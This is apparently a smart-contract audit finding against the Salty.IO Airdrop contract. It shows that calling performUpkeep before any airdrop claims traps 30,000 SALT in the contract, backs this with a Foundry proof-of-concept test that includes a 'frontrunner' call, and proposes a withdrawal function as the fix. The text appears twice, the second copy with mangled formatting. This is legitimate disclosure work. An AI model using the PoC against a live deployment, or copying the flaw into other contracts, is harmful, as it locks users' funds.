0.03% of the total supply of SALT can get stuck in the Airdrop contract at launch when Upkeep.performUpkeep() is called before claiming an airdrop using Airdrop.claimAirdrop(). This is because the first user in the staking pool gets all the SALT rewards up to that point (which at launch will include the 1% of 3,000,000 SALT sent initially from InitialDistribution) and the Airdrop contract stakes SALT for users before transferring it to them, in the process claiming the SALT rewards.
Proof of Concept
This is the Airdrop.claimAirdrop() function:
function claimAirdrop() external nonReentrant
{
require( claimingAllowed, "Claiming is not allowed yet" );
require( isAuthorized(msg.sender), "Wallet is not authorized for airdrop" );
require( ! claimed[msg.sender], "Wallet already claimed the airdrop" );
// Have the Airdrop contract stake a specified amount of SALT and then transfer it to the user
staking.stakeSALT( saltAmountForEachUser );
staking.transferStakedSaltFromAirdropToUser( msg.sender, saltAmountForEachUser );
claimed[msg.sender] = true;
}
As can be seen, to distribute the airdrop to participants the Airdrop contract first stakes the SALT and then transfers that stake to the airdrop claimer. However, in the process because the first staker gets all the rewards up to that point (highlighted in one of my other issues) when Upkeep.performUpkeep() is called before users start claiming their airdrop, the Airdrop contract will unwillingly claim the rewards (about 1% of 3,000,000 SALT) which will get stuck in the contract forever.
Clone the github repo and run forge build then paste the following test file in /src/scenario_tests/ and run forge test --mt test_zeroPointZeroThreePercentOfTotalSupplyStuckInAidropPOC:
POC Test File
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.22;
import "../dev/Deployment.sol";
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../rewards/RewardsConfig.sol";
import "../staking/StakingConfig.sol";
import "../price_feed/tests/ForcedPriceFeed.sol";
contract MockAccessManager {
function walletHasAccess(address wallet) external pure returns (bool) {
return wallet == wallet;
}
}
contract MockInitialDistribution {
address public bootstrapBallot;
constructor(address _bootstrapBallot) {
bootstrapBallot = _bootstrapBallot;
}
}
contract ZeroPointZeroThreePercentOfTotalSupplyStuckInAidropPOC is Test {
using SafeERC20 for ISalt;
using SafeERC20 for IERC20;
IExchangeConfig public exchangeConfig;
IBootstrapBallot public bootstrapBallot;
IAirdrop public airdrop;
IStaking public staking;
IDAO public dao;
ILiquidizer public liquidizer;
IPoolsConfig public poolsConfig;
IStakingConfig public stakingConfig;
IRewardsConfig public rewardsConfig;
IStableConfig public stableConfig;
ISaltRewards public saltRewards;
IPools public pools;
IInitialDistribution public initialDistribution;
IRewardsEmitter public stakingRewardsEmitter;
IRewardsEmitter public liquidityRewardsEmitter;
IEmissions public emissions;
ISalt public salt;
IERC20 public dai;
USDS public usds;
IERC20 public wbtc;
IERC20 public weth;
CollateralAndLiquidity public collateralAndLiquidity;
MockAccessManager public accessManager;
IForcedPriceFeed public priceFeed1;
IForcedPriceFeed public priceFeed2;
IForcedPriceFeed public priceFeed3;
IPriceAggregator public priceAggregator;
IUpkeep public upkeep;
IDAOConfig public daoConfig;
bytes aliceVotingSignature = hex"291f777bcf554105b4067f14d2bb3da27f778af49fe2f008e718328a91cae2f81eceb0b4ed1d65c546bf0603c6c35567a69c8cb371cf4880a2964df8f6d1c0601c";
bytes bobVotingSignature = hex"a08a0612b60d9c911d357664de578cd8e17c5f0ee10b82b829e35a999fa3f5e11a33e5f3d06c6b2b6f3ef3066cee3b47285a57cfc85f2c3e166f831a285aebcd1c";
address alice = address(0x1111);
address bob = address(0x2222);
uint256 constant public MILLION_ETHER = 1000000 ether;
function setUp() public {
vm.startPrank(address(1));
priceFeed1 = new ForcedPriceFeed(30000 ether, 3000 ether);
priceFeed2 = new ForcedPriceFeed(30100 ether, 3050 ether);
priceFeed3 = new ForcedPriceFeed(30500 ether, 3010 ether);
priceAggregator = new PriceAggregator();
priceAggregator.setInitialFeeds(
IPriceFeed(address(priceFeed1)),
IPriceFeed(address(priceFeed2)),
IPriceFeed(address(priceFeed3))
);
salt = new Salt();
dai = new TestERC20("DAI", 18);
weth = new TestERC20("WETH", 18);
wbtc = new TestERC20("WBTC", 8);
usds = new USDS();
rewardsConfig = new RewardsConfig();
poolsConfig = new PoolsConfig();
stakingConfig = new StakingConfig();
stableConfig = new StableConfig();
daoConfig = new DAOConfig();
exchangeConfig = new ExchangeConfig(
salt,
wbtc,
weth,
dai,
usds,
IManagedWallet(address(0))
);
liquidizer = new Liquidizer(exchangeConfig, poolsConfig);
accessManager = new MockAccessManager();
exchangeConfig.setAccessManager(IAccessManager(address(accessManager)));
collateralAndLiquidity = new CollateralAndLiquidity(
pools,
exchangeConfig,
poolsConfig,
stakingConfig,
stableConfig,
priceAggregator,
liquidizer
);
liquidityRewardsEmitter = new RewardsEmitter(
collateralAndLiquidity,
exchangeConfig,
poolsConfig,
rewardsConfig,
true
);
pools = new Pools(exchangeConfig, poolsConfig);
staking = new Staking(
exchangeConfig,
poolsConfig,
stakingConfig
);
stakingRewardsEmitter = new RewardsEmitter(
staking,
exchangeConfig,
poolsConfig,
rewardsConfig,
false
);
saltRewards = new SaltRewards(
stakingRewardsEmitter,
liquidityRewardsEmitter,
exchangeConfig,
rewardsConfig
);
airdrop = new Airdrop(exchangeConfig, staking);
bootstrapBallot = new BootstrapBallot(exchangeConfig, airdrop, 60 * 60 * 24 * 5 );
initialDistribution = new InitialDistribution(salt, poolsConfig, IEmissions(makeAddr("emissions")), bootstrapBallot, dao, VestingWallet(payable(makeAddr("daoVestingWallet"))), VestingWallet(payable(makeAddr("teamVestingWallet"))), airdrop, saltRewards, ICollateralAndLiquidity(address(0)));
poolsConfig.whitelistPool(pools, salt, wbtc);
poolsConfig.whitelistPool(pools, salt, weth);
poolsConfig.whitelistPool(pools, salt, usds);
poolsConfig.whitelistPool(pools, wbtc, usds);
poolsConfig.whitelistPool(pools, weth, usds);
poolsConfig.whitelistPool(pools, wbtc, dai);
poolsConfig.whitelistPool(pools, weth, dai);
poolsConfig.whitelistPool(pools, usds, dai);
poolsConfig.whitelistPool(pools, wbtc, weth);
usds.setCollateralAndLiquidity(collateralAndLiquidity);
dao = new DAO(
pools,
IProposals(address(0)),
exchangeConfig,
poolsConfig,
IStakingConfig(address(0)),
IRewardsConfig(address(0)),
IStableConfig(address(0)),
IDAOConfig(address(0)),
IPriceAggregator(address(0)),
liquidityRewardsEmitter,
ICollateralAndLiquidity(address(collateralAndLiquidity))
);
pools.setContracts(
dao,
collateralAndLiquidity
);
liquidizer.setContracts(collateralAndLiquidity, pools, dao);
vm.stopPrank();
vm.startPrank(address(1));
upkeep = new Upkeep(pools, exchangeConfig, poolsConfig, daoConfig, stableConfig, priceAggregator, saltRewards, collateralAndLiquidity, emissions, dao);
salt.transfer(address(initialDistribution), 100 * MILLION_ETHER);
exchangeConfig.setContracts(
dao,
upkeep,
initialDistribution,
airdrop,
VestingWallet(payable(address(0))),
VestingWallet(payable(address(0)))
);
vm.stopPrank();
bytes memory sig1 = abi.encodePacked(aliceVotingSignature);
vm.startPrank(alice);
vm.chainId(11155111);
bootstrapBallot.vote(true, sig1);
vm.stopPrank();
bytes memory sig2 = abi.encodePacked(bobVotingSignature);
vm.startPrank(bob);
vm.chainId(11155111);
bootstrapBallot.vote(true, sig2);
vm.stopPrank();
// Increase current blocktime to be greater than completionTimestamp
vm.warp( bootstrapBallot.completionTimestamp() + 1);
// Call finalizeBallot()
bootstrapBallot.finalizeBallot();
assert(bootstrapBallot.ballotFinalized() == true);
}
function test_zeroPointZeroThreePercentOfTotalSupplyStuckInAidropPOC() external {
vm.prank(makeAddr("frontrunner"));
upkeep.performUpkeep();
vm.prank(alice);
airdrop.claimAirdrop();
vm.prank(bob);
airdrop.claimAirdrop();
assert(salt.balanceOf(address(airdrop)) == ((1 * 3000000 ether) / 100));
}
}
```
As can be seen, as a result of calling Upkeep.performUpkeep() before users start claiming their airdrop 30,000 SALT gets stuck in the Airdrop contract.
Tools Used
Manual Review.
Recommended Mitigation Steps
A potential mitigation for this issue is to have an additional function in the Airdrop contract which only after everyone has claimed, is the owner of the contract able to withdraw the excess tokens that are left in the contract.
Lines of code
https://github.com/code-423n4/2024-01-salty/blob/main/src/launch/Airdrop.sol#L74-L85
Vulnerability details
Impact
0.03% of the total supply of SALT can get stuck in the
Airdrop
contract at launch whenUpkeep.performUpkeep()
is called before claiming an airdrop usingAirdrop.claimAirdrop()
. This is because the first user in the staking pool gets all the SALT rewards up to that point (which at launch will include the 1% of 3,000,000 SALT sent initially fromInitialDistribution
) and theAirdrop
contract stakes SALT for users before transferring it to them, in the process claiming the SALT rewards.Proof of Concept
This is the
Airdrop.claimAirdrop()
function:As can be seen, to distribute the airdrop to participants the
Airdrop
contract first stakes the SALT and then transfers that stake to the airdrop claimer. However, in the process because the first staker gets all the rewards up to that point (highlighted in one of my other issues) whenUpkeep.performUpkeep()
is called before users start claiming their airdrop, theAirdrop
contract will unwillingly claim the rewards (about 1% of 3,000,000 SALT) which will get stuck in the contract forever.Clone the github repo and run
forge build
then paste the following test file in/src/scenario_tests/
and runforge test --mt test_zeroPointZeroThreePercentOfTotalSupplyStuckInAidropPOC
:POC Test File
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity =0.8.22; import "../dev/Deployment.sol"; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "../rewards/RewardsConfig.sol"; import "../staking/StakingConfig.sol"; import "../price_feed/tests/ForcedPriceFeed.sol"; contract MockAccessManager { function walletHasAccess(address wallet) external pure returns (bool) { return wallet == wallet; } } contract MockInitialDistribution { address public bootstrapBallot; constructor(address _bootstrapBallot) { bootstrapBallot = _bootstrapBallot; } } contract ZeroPointZeroThreePercentOfTotalSupplyStuckInAidropPOC is Test { using SafeERC20 for ISalt; using SafeERC20 for IERC20; IExchangeConfig public exchangeConfig; IBootstrapBallot public bootstrapBallot; IAirdrop public airdrop; IStaking public staking; IDAO public dao; ILiquidizer public liquidizer; IPoolsConfig public poolsConfig; IStakingConfig public stakingConfig; IRewardsConfig public rewardsConfig; IStableConfig public stableConfig; ISaltRewards public saltRewards; IPools public pools; IInitialDistribution public initialDistribution; IRewardsEmitter public stakingRewardsEmitter; IRewardsEmitter public liquidityRewardsEmitter; IEmissions public emissions; ISalt public salt; IERC20 public dai; USDS public usds; IERC20 public wbtc; IERC20 public weth; CollateralAndLiquidity public collateralAndLiquidity; MockAccessManager public accessManager; IForcedPriceFeed public priceFeed1; IForcedPriceFeed public priceFeed2; IForcedPriceFeed public priceFeed3; IPriceAggregator public priceAggregator; IUpkeep public upkeep; IDAOConfig public daoConfig; bytes aliceVotingSignature = hex"291f777bcf554105b4067f14d2bb3da27f778af49fe2f008e718328a91cae2f81eceb0b4ed1d65c546bf0603c6c35567a69c8cb371cf4880a2964df8f6d1c0601c"; bytes bobVotingSignature = hex"a08a0612b60d9c911d357664de578cd8e17c5f0ee10b82b829e35a999fa3f5e11a33e5f3d06c6b2b6f3ef3066cee3b47285a57cfc85f2c3e166f831a285aebcd1c"; address alice = address(0x1111); address bob = address(0x2222); uint256 constant public MILLION_ETHER = 1000000 ether; function setUp() public { vm.startPrank(address(1)); priceFeed1 = new ForcedPriceFeed(30000 ether, 3000 ether); priceFeed2 = new ForcedPriceFeed(30100 ether, 3050 ether); priceFeed3 = new ForcedPriceFeed(30500 ether, 3010 ether); priceAggregator = new PriceAggregator(); priceAggregator.setInitialFeeds( IPriceFeed(address(priceFeed1)), IPriceFeed(address(priceFeed2)), IPriceFeed(address(priceFeed3)) ); salt = new Salt(); dai = new TestERC20("DAI", 18); weth = new TestERC20("WETH", 18); wbtc = new TestERC20("WBTC", 8); usds = new USDS(); rewardsConfig = new RewardsConfig(); poolsConfig = new PoolsConfig(); stakingConfig = new StakingConfig(); stableConfig = new StableConfig(); daoConfig = new DAOConfig(); exchangeConfig = new ExchangeConfig( salt, wbtc, weth, dai, usds, IManagedWallet(address(0)) ); liquidizer = new Liquidizer(exchangeConfig, poolsConfig); accessManager = new MockAccessManager(); exchangeConfig.setAccessManager(IAccessManager(address(accessManager))); collateralAndLiquidity = new CollateralAndLiquidity( pools, exchangeConfig, poolsConfig, stakingConfig, stableConfig, priceAggregator, liquidizer ); liquidityRewardsEmitter = new RewardsEmitter( collateralAndLiquidity, exchangeConfig, poolsConfig, rewardsConfig, true ); pools = new Pools(exchangeConfig, poolsConfig); staking = new Staking( exchangeConfig, poolsConfig, stakingConfig ); stakingRewardsEmitter = new RewardsEmitter( staking, exchangeConfig, poolsConfig, rewardsConfig, false ); saltRewards = new SaltRewards( stakingRewardsEmitter, liquidityRewardsEmitter, exchangeConfig, rewardsConfig ); airdrop = new Airdrop(exchangeConfig, staking); bootstrapBallot = new BootstrapBallot(exchangeConfig, airdrop, 60 * 60 * 24 * 5 ); initialDistribution = new InitialDistribution(salt, poolsConfig, IEmissions(makeAddr("emissions")), bootstrapBallot, dao, VestingWallet(payable(makeAddr("daoVestingWallet"))), VestingWallet(payable(makeAddr("teamVestingWallet"))), airdrop, saltRewards, ICollateralAndLiquidity(address(0))); poolsConfig.whitelistPool(pools, salt, wbtc); poolsConfig.whitelistPool(pools, salt, weth); poolsConfig.whitelistPool(pools, salt, usds); poolsConfig.whitelistPool(pools, wbtc, usds); poolsConfig.whitelistPool(pools, weth, usds); poolsConfig.whitelistPool(pools, wbtc, dai); poolsConfig.whitelistPool(pools, weth, dai); poolsConfig.whitelistPool(pools, usds, dai); poolsConfig.whitelistPool(pools, wbtc, weth); usds.setCollateralAndLiquidity(collateralAndLiquidity); dao = new DAO( pools, IProposals(address(0)), exchangeConfig, poolsConfig, IStakingConfig(address(0)), IRewardsConfig(address(0)), IStableConfig(address(0)), IDAOConfig(address(0)), IPriceAggregator(address(0)), liquidityRewardsEmitter, ICollateralAndLiquidity(address(collateralAndLiquidity)) ); pools.setContracts( dao, collateralAndLiquidity ); liquidizer.setContracts(collateralAndLiquidity, pools, dao); vm.stopPrank(); vm.startPrank(address(1)); upkeep = new Upkeep(pools, exchangeConfig, poolsConfig, daoConfig, stableConfig, priceAggregator, saltRewards, collateralAndLiquidity, emissions, dao); salt.transfer(address(initialDistribution), 100 * MILLION_ETHER); exchangeConfig.setContracts( dao, upkeep, initialDistribution, airdrop, VestingWallet(payable(address(0))), VestingWallet(payable(address(0))) ); vm.stopPrank(); bytes memory sig1 = abi.encodePacked(aliceVotingSignature); vm.startPrank(alice); vm.chainId(11155111); bootstrapBallot.vote(true, sig1); vm.stopPrank(); bytes memory sig2 = abi.encodePacked(bobVotingSignature); vm.startPrank(bob); vm.chainId(11155111); bootstrapBallot.vote(true, sig2); vm.stopPrank(); // Increase current blocktime to be greater than completionTimestamp vm.warp( bootstrapBallot.completionTimestamp() + 1); // Call finalizeBallot() bootstrapBallot.finalizeBallot(); assert(bootstrapBallot.ballotFinalized() == true); } function test_zeroPointZeroThreePercentOfTotalSupplyStuckInAidropPOC() external { vm.prank(makeAddr("frontrunner")); upkeep.performUpkeep(); vm.prank(alice); airdrop.claimAirdrop(); vm.prank(bob); airdrop.claimAirdrop(); assert(salt.balanceOf(address(airdrop)) == ((1 * 3000000 ether) / 100)); } } ```As can be seen, as a result of calling
Upkeep.performUpkeep()
before users start claiming their airdrop 30,000 SALT gets stuck in theAirdrop
contract.Tools Used
Manual Review.
Recommended Mitigation Steps
A potential mitigation for this issue is to have an additional function in the
Airdrop
contract which only after everyone has claimed, is the owner of the contract able to withdraw the excess tokens that are left in the contract.Assessed type
Token-Transfer